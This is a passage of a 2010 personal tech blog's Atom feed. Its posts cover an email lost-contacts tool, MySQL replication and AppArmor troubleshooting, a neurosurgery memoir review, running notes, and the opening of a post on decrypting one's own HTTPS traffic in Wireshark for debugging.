type='text/html' href='http://jbarillari.blogspot.com/2010/09/incredible-shrinking-android.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/2802881202889574225'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/2802881202889574225'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2010/09/incredible-shrinking-android.html' title='The Incredible Shrinking Android'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-204761705836180396</id><published>2010-08-08T13:59:00.001-07:00</published><updated>2010-08-08T15:48:47.138-07:00</updated><title type='text'>Forget-me-never</title><content type='html'>I have fourteen years of saved email -- about 290,000 messages. Most of this is useless junk: bulk mail, long-expired announcements, reminders about bills or bank statements, mailing lists, error messages, and spam. But buried in that muck is almost all of my online correspondence since 1996.&lt;br /&gt;&lt;br /&gt;Accordingly, that message store can answer important questions. The one I have in mind is: &lt;span&gt;&lt;span&gt;Who did I used to talk to? &lt;/span&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;span&gt;Who have I fallen out of touch with? &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Superficially, this is simple: just write a program to list everyone whom I've emailed and who has emailed me back (or vice versa). Sort them by the date of last contact, let me filter by the number of messages.&lt;br /&gt;&lt;br /&gt;That's the C- approach. A better solution would acknowledge that people use different email addresses. Multiple-emails-per-person creates two complications, one minor and one major. The minor complication is that some people will appear in the list multiple times, once for each address. A bigger deal is that some people will get lost. If I only exchange one or two pieces of email with someone (for instance, because we were in a class together and tended to talk in person), but from different addresses, that approach will miss it entirely. I write to someone@corporate-mail.com He responds from someone@personal-mail.com. The naive approach above won't connect those two messages.&lt;br /&gt;&lt;br /&gt;Fortunately, email headers often contain names as well as addresses: "Lyndon Johnson &lt;lbj@whitehouse.gov&gt;&lt;lbj@whitehouse.mil&gt;." If you consolidate addresses with the same name or similar names (e.g., normalize "Johnson, Lyndon B." and "Lyndon Baines Johnson" to "Lyndon Johnson"), you might be able to group addresses by person. I implemented another C- solution: it works, but it asks the user about each potential merge. Unfortunately, the low-frequency addresses that you want are also intermixed with spam, so it will take a little while to say "yes" or "no" to each one if your mail store has a fair bit of spam in it -- as mine does. I'll implement a fix for this (perhaps a spam filter) at some point.&lt;br /&gt;&lt;br /&gt;I put this together, building on top of my college pal Mihai's super-cool &lt;a href="http://code.google.com/p/mail-trends/"&gt;Mail Trends&lt;/a&gt;. Here's what it looks like:&lt;br /&gt;&lt;br /&gt;&lt;/lbj@whitehouse.mil&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_RQWmQmpSh1E/TF8kMe-54eI/AAAAAAAAAC4/yyY2o-0IdFE/s1600/forgetmenot.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 135px;" src="http://4.bp.blogspot.com/_RQWmQmpSh1E/TF8kMe-54eI/AAAAAAAAAC4/yyY2o-0IdFE/s400/forgetmenot.png" alt="" id="BLOGGER_PHOTO_ID_5503157066563969506" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;You can set the minimum days since the last message observed, minimum messages from, and minimum to. You can also hide an entry for a month, three months, a year (if you want to be reminded to contact someone, but not just yet), or forever (to filter out mail from, say, your cable company help desk).&lt;br /&gt;&lt;br /&gt;The system is a bit like etacts, but it isn't hosted---everything lives on your personal computer. (I'm pretty paranoid about email and don't like the idea of a random company having access to it, regardless of how trustworthy they may be. All of the code in this system is open-source, so you can see what it does for yourself.)&lt;br /&gt;&lt;br /&gt;Right now, this is strictly nerd-ware: you will need to know a fair bit about basic Un*x tools and possibly a bit of Python programming to get it to work. If the response is positive, I can certainly put together a nicely-packaged version. I think it would make a nice mobile-phone app (so it can remind you "hey, it's been six months since you've talked with &lt;span style="font-style: italic;"&gt;x&lt;/span&gt;").&lt;br /&gt;&lt;br /&gt;If you would like to try it, here's how. Open a shell prompt. (On Windows, you will probably need Cygwin.)&lt;br /&gt;&lt;br /&gt;1) Install Python 2.6 (or 2.7) and the Cheetah template language and (optionally) the CherryPy web development system, version 3. On a Debian/Ubuntu-based system, you should be able to just type:&lt;br /&gt;&lt;tt&gt;$ sudo apt-get install python-cheetah python2.6 python-cherrypy3&lt;/tt&gt;&lt;br /&gt;&lt;br /&gt;2) Download &lt;a href="http://www.eecs.harvard.edu/%7Ejoeb/mail-trends-lost-contacts.tar.gz"&gt;mail-trends-lost-contacts.tar.gz&lt;/a&gt;. (If you prefer, you can also download &lt;a href="http://code.google.com/p/mail-trends/"&gt;mail-trends&lt;/a&gt; and apply my &lt;a href="http://www.eecs.harvard.edu/%7Ejoeb/mail-trends-lost-contacts.patch"&gt;patch&lt;/a&gt; instead.)&lt;br /&gt;&lt;br /&gt;3) Run the program. If you use Gmail, the command will be something like:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;python2.6  main.py   --server=imap.gmail.com   --use_ssl   --username=you@gmail.com --me=you@gmail.com,you@some.other.place.com   --skip_labels&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Be sure to replace you@gmail.com with your actual address and list all of the addresses from which you send or receive mail under --me=, separated with commas. (If you don't list them, the program can't figure out which messages are actually from or to you.&lt;br /&gt;&lt;br /&gt;If you use a non-Gmail imap server, the command is slightly different:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;python2.6  main.py --me=you@school.edu,you@work.com,you@personal.net   --server=your.imap.server.com --use_ssl   --username=YOUR_IMAP_USERNAME --skip-mailboxes=spam,trash&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Instead of specifying --skip-mailboxes=, you can also specify --include-mailboxes=, which will include &lt;span style="font-style: italic;"&gt;only&lt;/span&gt; the mailboxes listed.&lt;br /&gt;&lt;br /&gt;If you want to try the address-consolidation feature (which will ask you lots of questions), add the option --interactive-disambiguation. If you want to use the "remind me in &lt;span style="font-style: italic;"&gt;x&lt;/span&gt; days" feature, add the option "--web-server=10000", where 10000 is the port on which to run the web server.&lt;br /&gt;&lt;br /&gt;To use the system, go to &lt;a href="http://127.0.0.1:10000/"&gt;http://127.0.0.1:10000/&lt;/a&gt; in your browser (if you used the --web-server option, setting the port appropriately) or open the file out/index.html (if you didn't use that option).&lt;br /&gt;&lt;br /&gt;Enjoy. Let me know what you think.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-204761705836180396?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/204761705836180396/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2010/08/forget-me-never.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/204761705836180396'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/204761705836180396'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2010/08/forget-me-never.html' title='Forget-me-never'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_RQWmQmpSh1E/TF8kMe-54eI/AAAAAAAAAC4/yyY2o-0IdFE/s72-c/forgetmenot.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-6559965067491791345</id><published>2010-07-16T16:53:00.001-07:00</published><updated>2010-07-16T17:44:49.172-07:00</updated><title type='text'>More running fail</title><content type='html'>I had a nice course sketched out ---  5,000 m, so I could feel like I was back in high school again (albeit more out of shape. Lol old age):&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_RQWmQmpSh1E/TEDxBhyNPqI/AAAAAAAAACw/HmK-LrWDR_8/s1600/rfail.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 176px; height: 400px;" src="http://2.bp.blogspot.com/_RQWmQmpSh1E/TEDxBhyNPqI/AAAAAAAAACw/HmK-LrWDR_8/s400/rfail.jpg" alt="" id="BLOGGER_PHOTO_ID_5494656553943121570" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Regrettably, the stairway on the Boston side of the river was &lt;a href="http://en.wikipedia.org/wiki/Boston_University_Bridge#Rehabilitation"&gt;closed&lt;/a&gt;, so I had an unexpected detour through BU. (Which was already holding an orientation. School starts early, I guess.)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-6559965067491791345?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/6559965067491791345/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2010/07/more-running-fail.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/6559965067491791345'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/6559965067491791345'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2010/07/more-running-fail.html' title='More running fail'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_RQWmQmpSh1E/TEDxBhyNPqI/AAAAAAAAACw/HmK-LrWDR_8/s72-c/rfail.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-8397400529461309691</id><published>2010-07-13T11:53:00.000-07:00</published><updated>2010-07-13T11:57:34.730-07:00</updated><title type='text'>Lol smoothing</title><content type='html'>This is the route that Google's otherwise great My Tracks said that I ran today:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_RQWmQmpSh1E/TDy2d-3JrxI/AAAAAAAAACo/1EHu4ONa-Nc/s1600/trails.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 263px;" src="http://3.bp.blogspot.com/_RQWmQmpSh1E/TDy2d-3JrxI/AAAAAAAAACo/1EHu4ONa-Nc/s400/trails.jpg" alt="" id="BLOGGER_PHOTO_ID_5493466271691943698" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Note that I did not &lt;span style="font-style: italic;"&gt;actually&lt;/span&gt; run from Watsontown, PA to Midville, PA in 23 and a half minutes.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;PROTIP&lt;/span&gt;: Just before you hit "Record" in My Tracks, be sure to use GPS Status (another free Android Market download) to make sure you have a GPS fix first.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-8397400529461309691?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/8397400529461309691/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2010/07/lol-smoothing.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/8397400529461309691'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/8397400529461309691'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2010/07/lol-smoothing.html' title='Lol smoothing'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_RQWmQmpSh1E/TDy2d-3JrxI/AAAAAAAAACo/1EHu4ONa-Nc/s72-c/trails.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-2320846306224793159</id><published>2010-07-12T19:21:00.000-07:00</published><updated>2010-07-13T08:36:42.738-07:00</updated><title type='text'>Two residency biographies</title><content type='html'>Frank Vertosick. &lt;span style="font-style: italic;"&gt;When The Air Hits Your Brain: Parables of Neurosurgery&lt;/span&gt;. Fawcett, 1988.&lt;br /&gt;&lt;br /&gt;Katrina Firlik. &lt;span style="font-style: italic;"&gt;Another Day in the Frontal Lobe: A Brain Surgeon Exposes Life on the Inside.&lt;/span&gt; Random House, 2006.&lt;br /&gt;&lt;br /&gt;Drs. Vertosick and Firlik wrote remarkably different books about the same subject: their neurosurgery residency. Both trained in the same system: the University of Pittsburgh Medical Center, separated by 14 years. Vertosick finished in 1988, whereas Firlik finished in 2002.&lt;br /&gt;&lt;br /&gt;Vertosick's book is a series of case anecdotes from his training, interspersed with some reflections on the profession. Firlik's book includes a handful of case anecdotes, but the bulk of the text is expository rather than narrative. &lt;span style="font-style: italic;"&gt;Item&lt;/span&gt;: Firlik discusses the dangers of misdiagnosing dementia as Alzheimer's or old age when it could be a tumor or normal-pressure hydrocephalus. Vertosick describes a case of "rolling out" a "big, juicy" meningioma in a patient most everyone but her surgeons thought was hopelessly demented. She made a full recovery. &lt;span style="font-style: italic;"&gt;Item&lt;/span&gt;: Firlik describes the sophisticated skull-drills that stop running as soon as the bone is drilled through. Vertosick relates the first neurosurgical case he observed, where the junior resident cheerfully explained that the clutch that stops the drill before it hits brain tissue -- then screamed curses and hustled Vertosick out of the room as the drill unexpectedly pierced straight through the skull and into the patient's brain.&lt;br /&gt;&lt;br /&gt;For would-be patients, Firlik's book is undoubtedly the better of the two. The worst of the fratboy joshing that Firlik mentions is a pinup poster. In Vertosick's book, the high-water mark comes when Fred, the chief resident, "steals" a case from Gary, a senior resident: he performs the entire operation himself, then leaves Gary the ignominious task of closing the wound. Gary contents himself by carving "Fred Sucks" on the inside of the patient's skull---where he expected no-one would ever see it. Unfortunately for all parties, the patient developed an infection and the bone flap had to be removed, leaving Fred red-faced and screaming as he saw the "skull-o-gram." It's not the book one would give grandpa before spine surgery.&lt;br /&gt;&lt;br /&gt;I preferred Vertosick's "case anecdotes with minimal filler" approach. Vertosick never discusses his childhood. Firlik confesses to being a bit of a neat freak. As a child, her belongings were meticulously organized; she even fantasized about being a cleaning lady. She describes a first-date with her over Indian food, her desire for an outdoor lifestyle, her pity for those with desk jobs. Vertosick never mentions what he does outside the hospital. Firlik relates her interests in Japanese language, food, culture, packaging, and architecture.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Item&lt;/span&gt;: Dr. Firlik shares a pizza with her husband in a tony Italian restaurant, then being paged and rushing off to see a patient with a stroke and skyrocketing intercranial pressure. Her husband, also a neurosurgeon (but one who left the practice to be a venture capitalist) calmly boxes up the food as she rushes to the hospital. Vertosick shares a pizza with Gary the senior resident in a cheap dive by the medical center (the latter takes half the pizza, folds it on itself, and begins chewing), then is interrupted by a car crash and spinal trauma.&lt;br /&gt;&lt;br /&gt;Significant others do not enter into Vertosick's memoir except in passing. Firlik met her husband in college and had been married to him for over ten years. Perhaps Firlik's story is the more unusual of the two: a friend told me that one of his neurosurgery-residency interviewers advised him to pick his residency carefully, "since it will last longer than your first marriage."&lt;br /&gt;&lt;br /&gt;While Vertosick may have omitted the details of his life, he describes the psychological hardening effect of surgical training. The lengthiest introspective segment in Vertosick's memoir is one such instance: operating to clip an aneurysm, he slips, punctures the vessel, leaving the patient a vegetable. He calls Gary, now long-since departed for to another hospital, who chain-smokes and tells him that if he's going to feel sorry for himself, he should hang up his mask, sit by a phone, and hand off patients to other brain surgeons. Firlik doesn't relate such a mistake (perhaps she, via luck or skill, avoided them), but does describe the emotional anguish of telling a young patient he had terminal cancer.&lt;br /&gt;&lt;br /&gt;Firlik's book would be most appropriate for reassuring patients about the basics of neurosurgery or reassuring prospective physicians about the  possibility of being  a brain surgeon yet still having a life. Vertosick's book would likely disabuse prospective physicians of any such notion and would probably move all but the most desperate patients to stick with medical therapy. (As Gary tells Vertosick, "If the patient isn't dead, you can always make him worse.") For the interested non-patient/non-physician, the Vertosick's book comes with my highest recommendation.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-2320846306224793159?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/2320846306224793159/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2010/07/two-residency-biographies.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/2320846306224793159'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/2320846306224793159'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2010/07/two-residency-biographies.html' title='Two residency biographies'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-8745880924933502126</id><published>2010-07-07T16:07:00.000-07:00</published><updated>2010-07-07T16:08:30.154-07:00</updated><title type='text'>What emacs does to your keyboard</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_RQWmQmpSh1E/TDUI4TtIjqI/AAAAAAAAACg/bRs2NcUbekA/s1600/emacs.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://1.bp.blogspot.com/_RQWmQmpSh1E/TDUI4TtIjqI/AAAAAAAAACg/bRs2NcUbekA/s400/emacs.jpg" alt="" id="BLOGGER_PHOTO_ID_5491305084103462562" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-8745880924933502126?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/8745880924933502126/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2010/07/what-emacs-does-to-your-keyboard.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/8745880924933502126'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/8745880924933502126'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2010/07/what-emacs-does-to-your-keyboard.html' title='What emacs does to your keyboard'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_RQWmQmpSh1E/TDUI4TtIjqI/AAAAAAAAACg/bRs2NcUbekA/s72-c/emacs.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-7855038521445720075</id><published>2010-07-04T22:33:00.001-07:00</published><updated>2010-07-05T16:08:56.539-07:00</updated><title type='text'>MySQL replication master-change gotcha</title><content type='html'>If you move the master server in your MySQL replication setup, you might be tempted to simply issue the command CHANGE MASTER TO MASTER_HOST='new.host.example.com'; on the slave to point it to the new master. &lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;br /&gt;Don't. &lt;/span&gt;If you do, the slave will lose its place in the log and you'll get errors from key conflicts as the slave tries to reinsert old rows. (Errors if you're &lt;span style="font-style: italic;"&gt;lucky&lt;/span&gt;. The slave might just silently insert duplicate rows.)&lt;br /&gt;&lt;br /&gt;Instead, issue a SHOW SLAVE STATUS\G; and use the values for Master_Log_File and Read_Master_Log_Pos (I think you want this rather than Exec_Master_Log_Pos, but they were equal in my case -- check the manual) to populate MASTER_LOG_POS and MASTER_LOG_FILE. In other words,&lt;br /&gt;&lt;br /&gt;CHANGE MASTER TO MASTER_HOST='new.host.example.com', MASTER_LOG_POS=12345, MASTER_LOG_FILE='mysql-bin.003334';&lt;br /&gt;&lt;br /&gt;I screwed this up, but I was lucky enough to have just enlarged the volume, so I had an EBS snapshot of the last known good version of the slave. I just dumped the volume I'd broken and started from the snapshot. EC2+EBS ftw.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-7855038521445720075?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/7855038521445720075/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2010/07/mysql-replication-master-change-gotcha.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/7855038521445720075'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/7855038521445720075'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2010/07/mysql-replication-master-change-gotcha.html' title='MySQL replication master-change gotcha'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-329011800734796182</id><published>2010-07-04T12:46:00.001-07:00</published><updated>2010-07-04T13:02:51.091-07:00</updated><title type='text'>Debian-&gt;ubuntu mysql upgrade gotcha</title><content type='html'>If you're upgrading from Debian to Ubuntu, note that ubuntu wraps MySQL in &lt;span style="font-family: courier new;"&gt;app-armor &lt;/span&gt;and Debian doesn't. This means that if you played around with the paths that MySQL uses, &lt;span style="font-family: courier new;"&gt;mysqld &lt;/span&gt;might not be able to start at all.&lt;br /&gt;&lt;br /&gt;The first thing to note is that you get no error notifications when "&lt;span style="font-family: courier new;"&gt;service mysql start&lt;/span&gt;" fails -- just an indefinite hang, as &lt;a href="http://ubuntuforums.org/showthread.php?t=1475798"&gt;this thread&lt;/a&gt; notes. If you become root and run &lt;span style="font-family: courier new;"&gt;/usr/sbin/mysqld&lt;/span&gt;, you will get an error like this:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;# /usr/sbin/mysqld&lt;br /&gt;100704 19:41:08 [Warning] The syntax '--log_slow_queries' is deprecated and will be removed in MySQL 7.0. Please use '--slow_query_log'/'--slow_query_log_file' instead.&lt;br /&gt;100704 19:41:08 [Note] Plugin 'FEDERATED' is disabled.&lt;br /&gt;/usr/sbin/mysqld: Can't create/write to file '/tmp/ib17ii5f' (Errcode: 13)&lt;br /&gt;100704 19:41:09  InnoDB: Error: unable to create temporary file; errno: 13&lt;br /&gt;100704 19:41:09 [ERROR] Plugin 'InnoDB' init function returned error.&lt;br /&gt;100704 19:41:09 [ERROR] Plugin 'InnoDB' registration as a STORAGE ENGINE failed.&lt;br /&gt;100704 19:41:09 [ERROR] Unknown/unsupported table type: innodb&lt;br /&gt;100704 19:41:09 [ERROR] Aborting&lt;br /&gt;&lt;br /&gt;100704 19:41:09 [Note] /usr/sbin/mysqld: Shutdown complete&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;errno 13 means "permission denied."&lt;br /&gt;&lt;br /&gt;Because I was using an Amazon EBS root filesystem, I wanted to eliminate unnecessary EBS overhead, so I'd moved /tmp to /tmp-old, made the directory /mnt/tmp on the local storage, and symlinked /mnt/tmp to /tmp. I thought the perms were correct, and I was able to make files in /tmp as an unprivileged user. I even ran &lt;span style="font-family: courier new;"&gt;vipw &lt;/span&gt;to edit &lt;span style="font-family: courier new;"&gt;/etc/passwd &lt;/span&gt;to give the mysql user a shell (otherwise, you can't su to mysql) and noted that it was possible to write files to tmp.  (I changed it back to /bin/false afterwards, of course.) Even when I told mysql to use the old directory (&lt;span style="font-family: courier new;"&gt; /usr/sbin/mysqld --tmpdir=/tmp-old&lt;/span&gt;), I got the same error message.&lt;br /&gt;&lt;br /&gt;I dug through the init files and noticed some references to app-armor. I checked the logs and found this:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;Jul  4 19:41:09 domU-12-31-39-0E-C9-A1 kernel: [ 8095.267321] type=1503 audit(1278272469.041:18):  operation="mknod" pid=5746 parent=4609 profile="/usr/sbin/mysqld" requested_mask="c::" denied_mask="c::" fsuid=106 ouid=106 name="/mnt/tmp/ib17ii5f"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;...aha.&lt;br /&gt;&lt;br /&gt;The main reason for redirecting /tmp was an application of my own that produced thousands of cache files in /tmp. I changed the app to use /mnt/tmp instead. Now, mysql launched, but with a new error:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;SSL error: Unable to get certificate from '/vol/etc/mysql/newcerts/server-cert.pem'&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;100704 19:52:14 [Warning] Failed to setup SSL&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;100704 19:52:14 [Warning] SSL error: Unable to get certificate&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Unsurprisingly, in /var/log/messages, I found:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;Jul  4 19:52:14 domU-12-31-39-0E-C9-A1 kernel: [ 8760.837526] type=1503 audit(1278273134.614:23):  operation="open" pid=4609 parent=4602 profile="/usr/sbin/mysqld" requested_mask="r::" denied_mask="r::" fsuid=106 ouid=106 name="/vol/etc/mysql/newcerts/server-cert.pem"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The fix for this was pretty simple: I opened &lt;span style="font-family: courier new;"&gt;/etc/apparmor.d/usr.sbin.mysqld&lt;/span&gt;  and below the line&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;/etc/mysql/*.pem r,&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I added the line&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;  /vol/etc/mysql/newcerts/*.pem r,&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Fixed.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-329011800734796182?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/329011800734796182/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2010/07/debian-ubuntu-mysql-upgrade-gotcha.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/329011800734796182'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/329011800734796182'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2010/07/debian-ubuntu-mysql-upgrade-gotcha.html' title='Debian-&gt;ubuntu mysql upgrade gotcha'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-6095875008239863704</id><published>2010-06-30T19:23:00.000-07:00</published><updated>2010-06-30T19:44:31.746-07:00</updated><title type='text'>How to eavesdrop on HTTPS traffic</title><content type='html'>I had an intermittent problem with my web app: a test suite intended to verify that client-cert SSL* worked was failing. It wasn't failing because the client-cert SSL auth was broken. It was failing because of a 400 Bad Request with the message:&lt;br /&gt;&lt;br /&gt;Your browser sent a request that this server could not understand.&lt;br /&gt;Request header field is missing ':' separator.&lt;br /&gt;&lt;br /&gt;Of course, since the connection was SSL encrypted, I couldn't easily to see what was going on.&lt;br /&gt;&lt;br /&gt;Fortunately, wireshark has SSL decoding built in. It's a bit tricky to use, but &lt;a href="http://wiki.wireshark.org/SSL"&gt;this wiki page&lt;/a&gt; and &lt;a href="http://www.mail-archive.com/wireshark-users@wireshark.org/msg04251.html"&gt;this mailing list post&lt;/a&gt; explain what to do. Here's the short version:&lt;br /&gt;&lt;br /&gt;1. If your server's SSL key isn't in a .pem file already, make one. Here's 